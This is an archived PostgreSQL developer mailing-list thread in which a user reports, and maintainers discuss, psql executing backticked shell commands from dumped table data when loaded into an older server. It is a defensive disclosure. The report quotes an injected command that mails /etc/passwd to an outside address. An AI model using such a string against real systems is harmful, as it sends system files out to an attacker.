syntax error causes crafted data to be executed in shell

Short summary:

1. Someone wrote "`mail blah(at)blah(dot)com < /etc/passwd`" in a web form;
this string was stored in a postgresql database.
2. We ran pg_dump
3. We ran psql (not the same version as pg_dump!)
4. blah(at)blah(dot)com receives /etc/passwd

More details and the, in my opinion, somewhat reckless response by one
of the Debian postgresql package maintainers are available at:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=285844

Thank you,

Thomer

"Thomer M. Gil" <postgresql(at)thomer(dot)com> writes:
> More details and the, in my opinion, somewhat reckless response by one
> of the Debian postgresql package maintainers are available at:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=285844

The response you're going to get here is not a lot different from what
you got there, mainly because it's mostly the same people here ;-).

I tend to agree with Peter that you haven't presented a reason to panic.
I'm not aware of any supported situation where psql would fail to parse
a COPY command output by pg_dump. It could happen when trying to load
newer dump data into an older server, but that's unsupported, and we
have no way to retroactively fix the behavior of older versions anyway.
So there's no point in treating this as a security issue.

Still, it looks like it would be relatively easy to suppress evaluation
of backticked arguments once we recognize that the backslash command has
failed, and I would say that that's a reasonable change to make on the
principle of least surprise.

regards, tom lane

I wrote:
> Still, it looks like it would be relatively easy to suppress evaluation
> of backticked arguments once we recognize that the backslash command has
> failed, and I would say that that's a reasonable change to make on the
> principle of least surprise.

On looking at this further, I wonder if it wouldn't be a good idea for
a failed backslash command to cause the rest of the input line to be
discarded. In the existing coding, if we find another backslash we'll
try to execute another backslash command, but that seems rather
considerably likely to be the Wrong Thing instead of the Right Thing.

Thoughts?

regards, tom lane

> On looking at this further, I wonder if it wouldn't be a good idea for
> a failed backslash command to cause the rest of the input line to be
> discarded.

I think that is reasonable.

Thomer

Tom Lane wrote:
> I wrote:
> > Still, it looks like it would be relatively easy to suppress evaluation
> > of backticked arguments once we recognize that the backslash command has
> > failed, and I would say that that's a reasonable change to make on the
> > principle of least surprise.
>
> On looking at this further, I wonder if it wouldn't be a good idea for
> a failed backslash command to cause the rest of the input line to be
> discarded. In the existing coding, if we find another backslash we'll
> try to execute another backslash command, but that seems rather
> considerably likely to be the Wrong Thing instead of the Right Thing.

Tom, would you show an example of the change in behavior? I didn't
understand the details.

--
Bruce Momjian | http://candle.pha.pa.us
pgman(at)candle(dot)pha(dot)pa(dot)us | (610) 359-1001
+ If your life is a hard drive, | 13 Roberts Road
+ Christ can be your backup. | Newtown Square, Pennsylvania 19073

Bruce Momjian <pgman(at)candle(dot)pha(dot)pa(dot)us> writes:
> Tom, would you show an example of the change in behavior? I didn't
> understand the details.

In CVS tip:

regression=# \N `touch wrong1` \i `touch wrong2`
Invalid command \N. Try \? for help.
: No such file or directory
regression=#

Both wrong1 and wrong2 are created. Thomer originally asserted that
wrong1 shouldn't have been created, ie, we shouldn't have tried to
evaluate the backticked "argument" to \N. I further suggest that it's
not a good idea to even try to process the \i command. I'd prefer to
see something like

regression=# \N `touch wrong1` \i `touch wrong2`
Invalid command \N. Try \? for help.
Ignoring junk "`touch wrong1` \i `touch wrong2`"
regression=#

regards, tom lane

Tom Lane wrote:
> Bruce Momjian <pgman(at)candle(dot)pha(dot)pa(dot)us> writes:
> > Tom, would you show an example of the change in behavior? I didn't
> > understand the details.
>
> In CVS tip:
>
> regression=# \N `touch wrong1` \i `touch wrong2`
> Invalid command \N. Try \? for help.
> : No such file or directory
> regression=#
>
> Both wrong1 and wrong2 are created. Thomer originally asserted that
> wrong1 shouldn't have been created, ie, we shouldn't have tried to
> evaluate the backticked "argument" to \N. I further suggest that it's
> not a good idea to even try to process the \i command. I'd prefer to
> see something like
>
> regression=# \N `touch wrong1` \i `touch wrong2`
> Invalid command \N. Try \? for help.
> Ignoring junk "`touch wrong1` \i `touch wrong2`"
> regression=#

So if a backslash command fails we discard the rest of the line? I
guess.

How did user data ever get to psql in this way?

--
Bruce Momjian | http://candle.pha.pa.us
pgman(at)candle(dot)pha(dot)pa(dot)us | (610) 359-1001
+ If your life is a hard drive, | 13 Roberts Road
+ Christ can be your backup. | Newtown Square, Pennsylvania 19073

Bruce Momjian <pgman(at)candle(dot)pha(dot)pa(dot)us> writes:
> So if a backslash command fails we discard the rest of the line?

Well, the point is that right now we *don't*. But I'm thinking we
should.

> How did user data ever get to psql in this way?

As I understand the scenario, it's that a 7.3-or-later pg_dump
could produce

COPY foo(a, b, c) FROM stdin;
col1 \N `touch gotcha`
\.

If you tried to load this dump file into a pre-7.3 server then the
server would barf on the COPY column list, which we didn't have pre-7.3,
and so it would not send the protocol command to psql to switch into
COPY IN mode. Therefore psql would read the next line as normal input
and would think that \N was a backslash command and `touch gotcha`
was a backticked argument to same.

(Thomer was waving his hands about "missing FROM" but I think that's a
thoroughly garbled report of the issue, because AFAIR no version of
pg_dump has ever emitted COPY commands without a "FROM stdin" clause.)

What this says to me is that we should be really, really cautious about
changing the format of the COPY commands emitted by pg_dump ever again.
For safety's sake they've got to be both forward and backward
compatible.

regards, tom lane